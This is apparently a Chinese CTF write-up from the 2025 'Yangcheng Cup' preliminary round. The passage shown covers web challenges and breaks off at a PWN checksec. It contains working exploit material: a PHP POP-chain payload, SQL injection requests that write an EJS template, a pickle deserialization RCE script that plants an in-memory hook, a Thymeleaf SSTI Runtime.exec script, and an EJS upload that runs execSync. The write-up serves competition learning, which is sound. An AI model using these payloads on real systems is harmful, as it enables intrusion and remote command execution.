2025年“羊城杯”网络安全大赛初赛WP
2025年“羊城杯”网络安全大赛初赛WP
本文详细记录了2025年DASCTF网络安全CTF大赛的解题过程,涵盖Web、Pwn、Misc、Crypto、Reverse等多个CTF类别。文章通过实例分析了各类漏洞的利用方法,包括SQL注入、反序列化、堆溢出、密码学算法逆向等安全技术。解题思路清晰,技术细节丰富,为CTF参赛者和网络安全爱好者提供了宝贵的实战经验参考,适合收藏学习。
合并整理 become 与 Again-become 全部题解,一支专科组第一(冠军)、一支本科组第七。

WEB
ez_unserialize
<?php
error_reporting(0);
highlight_file(__FILE__);
classA{
public $first;
public $step;
public $next;
publicfunction__construct(){
$this->first = "继续加油!";
}
publicfunctionstart(){
echo$this->next;
}
}
classE{
private $you;
public $found;
private $secret = "admin123";
publicfunction__get($name){
if($name === "secret") {
echo"<br>".$name." maybe is here!</br>";
$this->found->check();
}
}
}
classF{
public $fifth;
public $step;
public $finalstep;
publicfunctioncheck(){
if(preg_match("/U/",$this->finalstep)) {
echo"仔细想想!";
}
else {
$this->step = new$this->finalstep();
($this->step)();
}
}
}
classH{
public $who;
public $are;
public $you;
publicfunction__construct(){
$this->you = "nobody";
}
publicfunction__destruct(){
$this->who->start();
}
}
classN{
public $congratulation;
public $yougotit;
publicfunction__call(string $func_name, array $args){
return call_user_func($func_name,$args[0]);
}
}
classU{
public $almost;
public $there;
public $cmd;
publicfunction__construct(){
$this->there = new N();
$this->cmd = $_POST['cmd'];
}
publicfunction__invoke(){
return$this->there->system($this->cmd);
}
}
classV{
public $good;
public $keep;
public $dowhat;
public $go;
publicfunction__toString(){
$abc = $this->dowhat;
$this->go->$abc;
return"<br>Win!!!</br>";
}
}
unserialize($_POST['payload']);
?>
根据代码构造pop链 链条如下:
H::__destruct -> A::start -> V::__toString -> E::__get -> F::check -> U::__invoke -> N::__call -> system其中U类会自动new 一个N类,并且触发N的__call()方法,所以我们不用创建N
<?php
error_reporting(0);
highlight_file(__FILE__);
classA{
public $next;
}
classE{
public $found;
}
classF{
public $finalstep;
}
classH{
public $who;
}
classN{
}
classU{
public $there;
}
classV{
public $go;
public $dowhat;
}
$f=new F();
$f->finalstep='u';
$e=new E();
$e->found=$f;
$v=new V();
$v->go=$e;
$v->dowhat="secret";
$a=new A();
$a->next=$v;
$h=new H();
$h->who=$a;
$payload=serialize($h);
echo $payload
?>
得到paylaod:
O:1:"H":1:{s:3:"who";O:1:"A":1:{s:4:"next";O:1:"V":2:{s:2:"go";O:1:"E":1:{s:5:"found";O:1:"F":1:{s:9:"finalstep";s:1:"u";}}s:6:"dowhat";s:6:"secret";}}}
发请求
POST / HTTP/1.1
Host: 45.40.247.139:26254
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=F8D1D914B383E16B3FA1F69E4DC57842; connect.sid=s%3AH8MFSlEPs_sgdQm1caDS_rzC3oWjvs5C.tyc5CVlcwKo9fec1V1W2HIatVuFRDtiu6XmZASNcDlA; session=.eJyrVjI3NrRMtDRP1E00sDTRNbFMMdK1MEg00zUxt0g1TjIxMTNOM1WyUnIyiDRV0lEqTi0uzszPi89MAYoRpbUWAOr9GV8.aOpc_w.WFOYFp1Z3gxyAs8Xed2om0iyxlY
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 262
payload=O%3a1%3a"H"%3a1%3a{s%3a3%3a"who"%3bO%3a1%3a"A"%3a1%3a{s%3a4%3a"next"%3bO%3a1%3a"V"%3a2%3a{s%3a2%3a"go"%3bO%3a1%3a"E"%3a1%3a{s%3a5%3a"found"%3bO%3a1%3a"F"%3a1%3a{s%3a9%3a"finalstep"%3bs%3a1%3a"u"%3b}}s%3a6%3a"dowhat"%3bs%3a6%3a"secret"%3b}}}&cmd=cat /flag
ezsignin(三血)
登录页面存在sql注入,直接使用账号Admin’)or+1=1--进入主页
POST /login HTTP/1.1
Host: 45.40.247.139:29454
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Origin: http://45.40.247.139:31073
Connection: close
Referer: http://45.40.247.139:31073/login
Cookie: JSESSIONID=F8D1D914B383E16B3FA1F69E4DC57842; connect.sid=s%3AqsBHaK-r1Y9391_K_jJGZq--UwHE4REN.ZFf%2BpLp7bpuL2Rrvg7jWmnvEJgT32eI0b8C%2F8yRF8Ok; session=.eJyrVjI3NrRMtDRP1E00sDTRNbFMMdK1MEg00zUxt0g1TjIxMTNOM1WyUnIyiDRV0lEqTi0uzszPi89MAYoRpbUWAOr9GV8.aOpc_w.WFOYFp1Z3gxyAs8Xed2om0iyxlY
Upgrade-Insecure-Requests: 1
Priority: u=0, i
username=Admin")or+1=1--&password=123456
首页中可以看到上传,下载readme.md等选项,点击上传提示没有view视图文件,点击下载发现可以目录穿越,读取源代码
GET /download/?filename=../app.js HTTP/1.1
Host: 45.40.247.139:29454
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://45.40.247.139:31073/
Accept-Encoding: gzip, deflate, br
Cookie: Token=8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94888c096c6f676765645f696e948875622e; connect.sid=s%3AH00hIQZffMaA2ml9QTnjrGrR5MRmnhAL.7q8lI%2BrBwXiUZkRXXXwRLWVLGofQeEE4CYpnxzp3MhA
If-None-Match: W/"c-199bf8a6088"
If-Modified-Since: Tue, 07 Oct 2025 16:39:01 GMT
Connection: keep-alive
const express = require('express');
const session = require('express-session');
const sqlite3 = require('sqlite3').verbose();
const path = require('path');
const fs = require('fs');
const app = express();
const db = new sqlite3.Database('./db.sqlite');
/*
FLAG in /fla4444444aaaaaagg.txt
*/
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'public')));
app.use(session({
secret: 'welcometoycb2025',
resave: false,
saveUninitialized: true,
cookie: { secure: false }
}));
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
const checkPermission = (req, res, next) => {
if (req.path === '/login' || req.path === '/register') return next();
if (!req.session.user) return res.redirect('/login');
if (!req.session.user.isAdmin) return res.status(403).send('无权限访问');
next();
};
app.use(checkPermission);
app.get('/', (req, res) => {
fs.readdir(path.join(__dirname, 'documents'), (err, files) => {
if (err) {
console.error('读取目录时发生错误:', err);
return res.status(500).send('目录读取失败');
}
req.session.files = files;
res.render('files', { files, user: req.session.user });
});
});
app.get('/login', (req, res) => {
res.render('login');
});
app.get('/register', (req, res) => {
res.render('register');
});
app.get('/upload', (req, res) => {
if (!req.session.user) return res.redirect('/login');
res.render('upload', { user: req.session.user });
//todoing
});
app.get('/logout', (req, res) => {
req.session.destroy(err => {
if (err) {
console.error('退出时发生错误:', err);
return res.status(500).send('退出失败');
}
res.redirect('/login');
});
});
app.post('/login', async (req, res) => {
const username = req.body.username;
const password = req.body.password;
const sql = `SELECT * FROM users WHERE (username = "${username}") AND password = ("${password}")`;
db.get(sql,async (err, user) => {
if (!user) {
return res.status(401).send('账号密码出错!!');
}
req.session.user = { id: user.id, username: user.username, isAdmin: user.is_admin };
res.redirect('/');
});
});
app.post('/register', (req, res) => {
const { username, password, confirmPassword } = req.body;
if (password !== confirmPassword) {
return res.status(400).send('两次输入的密码不一致');
}
db.exec(`INSERT INTO users (username, password) VALUES ('${username}', '${password}')`, function(err) {
if (err) {
console.error('注册失败:', err);
return res.status(500).send('注册失败,用户名可能已存在');
}
res.redirect('/login');
});
});
app.get('/download', (req, res) => {
if (!req.session.user) return res.redirect('/login');
const filename = req.query.filename;
if (filename.startsWith('/')||filename.startsWith('./')) {
return res.status(400).send('WAF');
}
if (filename.includes('../../')||filename.includes('.././')||filename.includes('f')||filename.includes('//')) {
return res.status(400).send('WAF');
}
if (!filename || path.isAbsolute(filename) ) {
return res.status(400).send('无效文件名');
}
const filePath = path.join(__dirname, 'documents', filename);
if (fs.existsSync(filePath)) {
res.download(filePath);
} else {
res.status(404).send('文件不存在');
}
});
const PORT = 80;
app.listen(PORT, () => {
console.log(`Server running on http://localhost:${PORT}`);
});
提示了flag存储的位置 注册页面执行sql语句使用的是exec,存在堆叠注入 尝试用sqlite语句读取文件,因为没有回显点,考虑使用写文件的方法,会想起update没有视图文件,写入ejs,包含flag文件
POST /register HTTP/1.1
Host: 45.40.247.139:29454
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 435
Origin: http://45.40.247.139:31073
Connection: close
Referer: http://45.40.247.139:31073/register
Cookie: JSESSIONID=F8D1D914B383E16B3FA1F69E4DC57842; connect.sid=s%3A1Nol8whaJER5UC4lAv5u-bdgMH8fKiyC.3zVB46lRRFU3gRAvdjqc%2BWyQuczF%2F5pp4wpmu1JEoPE
Upgrade-Insecure-Requests: 1
Priority: u=0, i
username=hello&password=123456')%3b+ATTACH+DATABASE+'/app/views/upload.ejs'+AS+hello%3b+CREATE+TABLE+hello.pwn+(data+TEXT)%3b+INSERT+INTO+hello.pwn+(data)+VALUES+('<%25%3d+include("/fla4444444aaaaaagg.txt")+%25>')%3b--+('&confirmPassword=123456')%3b+ATTACH+DATABASE+'/app/views/upload.ejs'+AS+hello%3b+CREATE+TABLE+hello.pwn+(data+TEXT)%3b+INSERT+INTO+hello.pwn+(data)+VALUES+('<%25%3d+include("/fla4444444aaaaaagg.txt")+%25>')%3b--+('
访问/upload路径即可看到flag
ez_blog
用guest/guest登录,登录后提示发文章要管理员,看cooie是十六进制的Pickle反序列化数据特征:
- 开头是
80: Pickle 协议版本标识
80 02= Protocol 280 03= Protocol 380 04= Protocol 4 (本例)80 05= Protocol 5
- 常见的 Pickle 操作码:
8c= SHORT_BINUNICODE (短字符串)94= MEMOIZE (存储到内存)93= STACK_GLOBAL (加载)89= NEWFALSE (False)88= NEWTRUE (True) 反汇编Pickle字节码
import pickletools
import binascii
hex_data = '8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e'
# 十六进制 -> 字节
data = binascii.unhexlify(hex_data)
# 反汇编
pickletools.dis(data)
┌──(kali㉿kali)-[~]
└─$ python3 3.py
0: \x80 PROTO 4
2: \x95 FRAME 75
11: \x8c SHORT_BINUNICODE 'app'
16: \x94 MEMOIZE (as 0)
17: \x8c SHORT_BINUNICODE 'User'
23: \x94 MEMOIZE (as 1)
24: \x93 STACK_GLOBAL
25: \x94 MEMOIZE (as 2)
26: ) EMPTY_TUPLE
27: \x81 NEWOBJ
28: \x94 MEMOIZE (as 3)
29: } EMPTY_DICT
30: \x94 MEMOIZE (as 4)
31: ( MARK
32: \x8c SHORT_BINUNICODE 'id'
36: \x94 MEMOIZE (as 5)
37: K BININT1 2
39: \x8c SHORT_BINUNICODE 'username'
49: \x94 MEMOIZE (as 6)
50: \x8c SHORT_BINUNICODE 'guest'
57: \x94 MEMOIZE (as 7)
58: \x8c SHORT_BINUNICODE 'is_admin'
68: \x94 MEMOIZE (as 8)
69: \x89 NEWFALSE
70: \x8c SHORT_BINUNICODE 'logged_in'
81: \x94 MEMOIZE (as 9)
82: \1x88 NEWTRUE
83: u SETITEMS (MARK at 31)
84: b BUILD
85: . STOP
highest protocol among opcodes = 4
丢给ai解读
0: \x80 PROTO 4 ← Protocol 4
2: \x95 FRAME 75 ← Frame 开始,长度 75 字节
11: \x8c SHORT_BINUNICODE 'app' ← 字符串 "app"
16: \x94 MEMOIZE (as0) ← 存储到位置 0
17: \x8c SHORT_BINUNICODE 'User' ← 字符串 "User"
23: \x94 MEMOIZE (as1) ← 存储到位置 1
24: \x93 STACK_GLOBAL ← 加载 app.User 类
25: \x94 MEMOIZE (as2) ← 存储类到位置 2
26: ) EMPTY_TUPLE ← 空元组 ()
27: \x81 NEWOBJ ← 创建对象实例
28: \x94 MEMOIZE (as3) ← 存储对象到位置 3
29: } EMPTY_DICT ← 空字典 {}
30: \x94 MEMOIZE (as4) ← 存储字典到位置 4
31: ( MARK ← 标记开始
32: \x8c SHORT_BINUNICODE 'id' ← 键: "id"
36: \x94 MEMOIZE (as5)
37: K BININT1 2 ← 值: 2
39: \x8c SHORT_BINUNICODE 'username' ← 键: "username"
49: \x94 MEMOIZE (as6)
50: \x8c SHORT_BINUNICODE 'guest' ← 值: "guest"
57: \x94 MEMOIZE (as7)
58: \x8c SHORT_BINUNICODE 'is_admin' ← 键: "is_admin"
68: \x94 MEMOIZE (as8)
69: \x89 NEWFALSE ← 值: False ★关键位置★
70: \x8c SHORT_BINUNICODE 'logged_in' ← 键: "logged_in"
81: \x94 MEMOIZE (as9)
82: \x88 NEWTRUE ← 值: True
83: u SETITEMS (MARK at 31) ← 设置字典项
84: b BUILD ← 构建对象
85: . STOP ← 结束
Pickle 操作码表
| 操作码 | 十六进制 | 含义 | 参数 |
|---|---|---|---|
| PROTO | 80 | 协议版本 | 1字节版本号 |
| FRAME | 95 | 帧头 | 8字节长度 |
| SHORT_BINUNICODE | 8c | 短字符串 | 1字节长度 + UTF-8数据 |
| MEMOIZE | 94 | 记忆化存储 | 无 |
| STACK_GLOBAL | 93 | 加载全局类 | 无(从栈获取) |
| EMPTY_TUPLE | 29 | 空元组 | 无 |
| NEWOBJ | 81 | 实例化对象 | 无 |
| EMPTY_DICT | 7d | 空字典 | 无 |
| MARK | 28 | 标记栈位置 | 无 |
| BININT1 | 4b | 小整数 | 1字节整数 |
| NEWFALSE | 89 | False | 无 |
| NEWTRUE | 88 | True | 无 |
| SETITEMS | 75 | 设置字典项 | 无 |
| BUILD | 62 | 构建对象 | 无 |
| STOP | 2e | 结束 | 无 |
把69的值0x89改成0x88就是管理员了
import binascii
# 原始数据
original = '8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e'
# 转为可变字节数组
data = bytearray(binascii.unhexlify(original))
# 修改位置 69
print(f"Before: 0x{data[69]:02x}") # 0x89 (NEWFALSE)
data[69] = 0x88# 改为 NEWTRUE
print(f"After: 0x{data[69]:02x}") # 0x88 (NEWTRUE)
# 转回十六进制
modified = binascii.hexlify(data).decode()
print(f"Modified cookie: {modified}")
在add鉴权接口打pickle反序列化漏洞,没法回显,有两种打法一种是盲注一种是内存马,打内存马比盲注方便打内存马。
import os
import sys
import httpx
import time
import pickle
import base64
from flask import Flask, request
URL = "http://45.40.247.139:24352/add"
app = Flask(__name__)
classA():
cmd = "whoami"
def__init__(self, cmd='whoami'):
self.cmd = cmd
def__reduce__(self):
# return (exec, ("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('env').read())",))
# return (exec, ("__import__('os').popen('"+self.cmd+"').read()",))
return (exec, ("__import__('sys').modules['werkzeug.serving'].WSGIRequestHandler.server_version = __import__('base64').b64encode(__import__('os').popen('"+self.cmd+"').read().encode()).decode()",))
@app.route('/add')
defindex():
token = request.cookies.get('Token')
print(token);
pickle.loads(bytes.fromhex(token))
return'ok'
if __name__ == '__main__':
whileTrue:
cmd = input("cmd:")
a = A(cmd)
b = pickle.dumps(a)
# print('[*] payload:', b.hex())
r = httpx.get(URL, cookies={"Token": b.hex()})
print(base64.b64decode(r.headers['server'].split(' ')[0]).decode())
# if cmd == "exit":
# sys.exit(0)
a = A("ls")
b = pickle.dumps(a)
print(b.hex())
print(base64.b64encode(b))
# pickle.loads(b)
app.run(host="0.0.0.0", port=8000, debug=False);
authweb
参考链接: https://justdoittt.top/2024/03/24/Thymeleaf%E6%BC%8F%E6%B4%9E%E6%B1%87%E6%80%BB/index.html
先生成·
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.security.Keys;
import javax.crypto.SecretKey;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Date;
import java.util.Map;
publicclassM{
publicstaticvoidmain(String[] args)throws IOException {
SecretKey key = Keys.hmacShaKeyFor("25d55ad283aa400af464c76d713c07add57f21e6a273781dbf8b7657940f3b03".getBytes(StandardCharsets.UTF_8));
// 设置 JWT 的声明(claims)
String subject = "user1";
long nowMillis = System.currentTimeMillis();
long expMillis = nowMillis + 3600000*24; // 令牌有效期 1 小时
Date now = new Date(nowMillis);
Date exp = new Date(expMillis);
// 构建 JWT
String jwt = Jwts.builder()
.setSubject(subject) // 设置主题(比如用户 ID)
.setIssuedAt(now) // 设置发行时间
.setExpiration(exp) // 设置过期时间
.addClaims(Map.of("role", "USER")) // 添加自定义声明
.signWith(key) // 使用密钥签名
.compact(); // 生成 JWT 字符串
}
}
上面参考链接给的表达式直接打会报错,要自己调整,最终的exp如下
import requests, random
from io import BytesIO
# https://justdoittt.top/2024/03/24/Thymeleaf%E6%BC%8F%E6%B4%9E%E6%B1%87%E6%80%BB/index.html
url = 'http://192.168.109.128:8080'
filename = random.randint(1,100000)
filename = str(filename)
# 定义 IntrospectionUtils 类的获取方式
introspectionUtilsClass = 'new org.apache.tomcat.util.IntrospectionUtils().getClass()'
# 获取类加载器
introspectionUtilsClassLoader = '{}.getClassLoader()'.format(introspectionUtilsClass)
# 创建 ShadowingClassLoader 实例
shadowing = 'new org.springframework.instrument.classloading.ShadowingClassLoader({})'.format(introspectionUtilsClassLoader)
# 加载必要的类
objectClass = '{}.loadClass(\'java.lang.Object\')'.format(shadowing)
stringClass = '{}.loadClass(\'java.lang.String\')'.format(shadowing)
runtimeClass = '{}.loadClass(\'java.lang.Runtime\')'.format(shadowing)
Arrays = '{}.loadClass(\'java.util.Arrays\')'.format(shadowing)
# 使用字符串拼接加载 ClassLoaderUtils 类
classLoaderUtilsClass = '{}.loadClass(\'org.\'+\'thymeleaf.util.ClassLoaderUtils\')'.format(shadowing)
# 获取 Object[] 类型
objectArrayClass = '{}.loadClass(\'[Ljava.lang.Object;\')'.format(classLoaderUtilsClass)
# 获取 String[] 类型
stringArrayClass = '{}.loadClass(\'[Ljava.lang.String;\')'.format(classLoaderUtilsClass)
# 获取 Runtime.getRuntime 方法
getRuntimeMethod = '{}.findMethod({}, \'getRuntime\', null)'.format(introspectionUtilsClass, runtimeClass)
# 调用 getRuntime 方法获取 Runtime 对象
runtimeObject = '{}.callMethodN({}, \'invoke\', {{null, null}}, {{ {}, {} }})'.format(introspectionUtilsClass, getRuntimeMethod, objectClass, objectArrayClass)
# 调用 exec 方法
execCall = '({}.callMethodN({}, \'exec\', \'env\', {}))'.format(introspectionUtilsClass, runtimeObject, stringClass)
# 获取 Process 类
processClass = '{}.loadClass(\'java.lang.Process\')'.format(shadowing)
# 获取 InputStream 类
inputStreamClass = '{}.loadClass(\'java.io.InputStream\')'.format(shadowing)
# 获取 getInputStream 方法
getInputStreamMethod = '{}.findMethod({}, \'getInputStream\', null)'.format(introspectionUtilsClass, processClass)
inputStreamObject = '{}.callMethodN({}, \'invoke\', {{ {}, null}}, {{ {}, {} }})'.format(introspectionUtilsClass, getInputStreamMethod, execCall, objectClass, objectArrayClass)
Allbytes = '({}.callMethodN({}, \'readAllBytes\', {{ }}, {{ }}))'.format(introspectionUtilsClass, inputStreamObject)
final_result = 'new java.lang.String({})'.format(Allbytes)
payload = '''
[[${#a = %s}]]
''' %(
final_result
)
res = requests.post(f'{url}/upload',
headers={
'Authorization': 'Bearer eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJ1c2VyMSIsImlhdCI6MTc2MDE1NjYwMCwiZXhwIjoxNzYwMjQzMDAwLCJyb2xlIjoiVVNFUiJ9.HFMRnHLoWBSCo38pb7vJQQj0TTRMcE9_1dPVPoEKRO8fu3C3DwmQTwxTKkLxmNZxwgVlc0OEDlW5tI8pAyxdgw'
}
,
files={'imgFile': (filename, BytesIO(payload.encode()))},
data={
'imgName': f'../templates/{filename}'
}
)
print(res.text)
res = requests.get(f'{url}/login/dynamic-template?value={filename}')
print(res.text)
staticNodeService
关键代码片段:
// 1. 目录索引渲染函数
functionserveIndex(req, res) {
var templ = req.query.templ || 'index';
var lsPath = path.join(__dirname, req.path);
try {
res.render(templ, {
filenames: fs.readdirSync(lsPath),
path: req.path
});
} catch (e) {
console.log(e);
res.status(500).send('Error rendering page');
}
}
// 2. 安全中间件
app.use((req, res, next) => {
if (typeof req.path !== 'string' ||
(typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined')
) res.status(500).send('Error parsing path');
elseif (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename');
else next();
})
// 3. 路由逻辑
app.use((req, res, next) => {
if (req.path.endsWith('/')) serveIndex(req, res);
else next();
})
// 4. 文件上传
app.put('/*', (req, res) => {
const filePath = path.join(STATIC_DIR, req.path);
if (fs.existsSync(filePath)) {
return res.status(500).send('File already exists');
}
fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), (err) => {
if (err) {
return res.status(500).send('Error writing file');
}
res.status(201).send('File created/updated');
});
});
Flag 获取机制:
- Flag 文件位于
/flag,权限 400,属主 root - Node 应用以
node用户运行(非 root) /readflag是 SUID 二进制程序,可以读取 flag
┌──(kali㉿kali)-[~]
└─$ echo "PCUtIGdsb2JhbC5wcm9jZXNzLm1haW5Nb2R1bGUucmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCcvcmVhZGZsYWcnKSAlPg=="|base64 -d
<%- global.process.mainModule.require('child_process').execSync('/readflag') %>
elseif (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename');
- 正则
/js$/i只匹配路径结尾为js的情况 - 这意味着
.ejs文件会被拦截(因为结尾是js) - 但安全检查只针对
req.path,不检查req.query.templExpress 对路径的处理存在时序差异:
// 安全中间件检查时
req.path = "/shell.ejs/." // 原始路径
// path.join() 规范化后
path.join(__dirname, "/shell.ejs/.")
// 结果: /App/shell.ejs (路径被规范化)
/shell.ejs/.不匹配/js$/i(因为结尾是.)- 但
path.join()会自动规范化,去掉/. - 最终文件名仍然是
shell.ejs模板参数未过滤serveIndex函数直接使用用户可控的templ参数:
var templ = req.query.templ || 'index';
res.render(templ, {...});
templ参数可以包含路径遍历(..)- Express 的
res.render()会相对于views目录解析路径 templ=../shell.ejs→ 实际渲染/App/views/../shell.ejs=/App/shell.ejs
PUT //shell.ejs/. HTTP/1.1
Host: 45.40.247.139:27554
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/json
Content-Length: 123
{"content": "PCUtIGdsb2JhbC5wcm9jZXNzLm1haW5Nb2R1bGUucmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCcvcmVhZGZsYWcnKSAlPg=="}
GET /?templ=../shell.ejs HTTP/1.1
Host: 45.40.247.139:27554
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
UpdateIt(一血)
打开容器,查看到了一个查询用户,还有一个更新用户名 看起来是更新用户名出的事 放了个引号看,
{"success":false,"message":"更新失败: error occurred while executing ### update ycb_user set username='123' where open_id='''### You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1","data":null}
{“success”:false,“message”:“更新失败: error occurred while executing ### update ycb_user set username=‘123’ where open_id=‘’‘### You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’‘’ at line 1”,“data”:null}
是update ycb_user set username='123' where open_id='''出现的问题。
测试了很久,发现屏蔽了 select 没法绕, 也屏蔽了value。
但是可以使用一些基础函数,version()比较重要8.0.35这个版本号,OPEN_ID有一个||能绕过,还有一个最重要的,TABLE屏蔽。
1' || '1' = '1
',username=open_id,addtime='2000-01-01
也就是update ycb_user set username='1' || '1' = '1' where open_id='',username=open_id,addtime='2000-01-01'拿到了open_id = axnpOmciqyzHJKnPQidzmsza-1然后
参考思路https://blog.csdn.net/aloneBUThappy/article/details/122047088然后写出
update ycb_user set username='`axnpOmciqyzHJKnPQidzmsza-1`'where open_id='`',username=(table information_schema.tables limit0,1) > (0) ,open_id='axnpOmciqyzHJKnPQidzmsza-1`'
注意,这里多少个0取决于information_schema.tables有多少列, 输入个0就能查到是21,然后去数据库看了一下结构,前面比较多是str。
实际上他可以一个char一个char用二分法,爆破出来,后面我突然想到NOW()把它报错出来,然后就可以了
我们后续只改第二行
',username=(table information_schema.tables limit 0,1) > (NOW(),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0) ,open_id='axnpOmciqyzHJKnPQidzmsza-1
> 更新失败: error occurred while executing ### update ycb_user set username='',username=(table information_schema.tables limit 0,1) > (NOW(),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0) ,open_id='axnpOmciqyzHJKnPQidzmsza-1' where open_id='axnpOmciqyzHJKnPQidzmsza-1'### Truncated incorrect datetime value: 'def'
',username=(table information_schema.tables limit 0,1) > ('def',NOW(),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0) ,open_id='axnpOmciqyzHJKnPQidzmsza-1
> 更新失败: error occurred while executing ### update ycb_user set username='',username=(table information_schema.tables limit 0,1) > ('def',NOW(),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0) ,open_id='axnpOmciqyzHJKnPQidzmsza-1' where open_id='axnpOmciqyzHJKnPQidzmsza-1'### Truncated incorrect datetime value: 'mysql'
很显然这个mysql就是我们需要找了,找下他有什么表,直接改这个0
',username=(table information_schema.tables limit 300,1) > ('def',NOW(),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0) ,open_id='axnpOmciqyzHJKnPQidzmsza-1
尝试 300,有个sys,400就报错username不能为空了,所以400就没了,试试350,也没了,试试325,sys,试试337,没了,试试330,有一个simho,后面附近都看看有啥,329``ycb2025,328``sys, 331,simho,332simho,333空。
那么我们解析来查查ycb2025和2个simho有什么表吧
',username=(table information_schema.tables limit 331,1) > ('def','simho',NOW(),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0) ,open_id='axnpOmciqyzHJKnPQidzmsza-1
331: simho.neko
332: simho.see33ccret
329: ycb2025.ycb_user
后面我们再写一个payload查这个表吧
',username=(table ycb2025.ycb_user limit 0,1) > (0) ,open_id='axnpOmciqyzHJKnPQidzmsza-1
先0起手,发现4列,里面改成(NOW(),0,0,0) You can't specify target table 'ycb_user' for update ,忘记了,这个就是左边显示的表哈哈哈哈哈。 那么我们直接看simho.neko吧
',username=(table simho.neko limit 0,1) > (0) ,open_id='axnpOmciqyzHJKnPQidzmsza-1
3列,
(NOW(),0,0),改成这个,显示了dagoujiao
('dagoujiao',NOW(),0),然后,显示更新成功是0,说明小于NOW(),那么我们换个数字,随便选一个100,还是0,50,还是0,25还是0,12是1,18是0,15是0,14是0,13是1,那就说明他就是 tar > 13 <= 14 那就是14了,可以验证一下,改成13.99999,还是1,14就是0了。看最后一行
('dagoujiao',14,NOW())显示mimi,秘密?应该是提示,那么先不看后面的了,看看simho.see33ccret
有三列,因为(NOW(),0,0)成功之行了,所以应该第一列是数字,盲猜是id,猜一个0,(0,0,0),执行成功了,左侧username显示1说明第一列大于0试试1,(1,0,0)报错了,在测测(1,NOW(),0),返回了not_this_one说明第一列走对了,回填进去看看第三列(1,'not_this_one',NOW()),这次没正确弹东西,数字也没,感觉是其他邪门格式,就试试第二列吧。
',username=(table simho.see33ccret limit 1,1) > (2,NOW(),NULL),open_id='axnpOmciqyzHJKnPQidzmsza-1
每个加1,limit 后面 左侧加一 和NOW左侧加一返回so_do_i再看看下一行u_r_close再看看最后一行
',username=(table simho.see33ccret limit 3,1) > (4,NOW(),NULL),open_id='axnpOmciqyzHJKnPQidzmsza-1
出来了DASCTF{23227123101848044861773952473241}
PWN
malloc(二血)
❯ checksec pwn
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
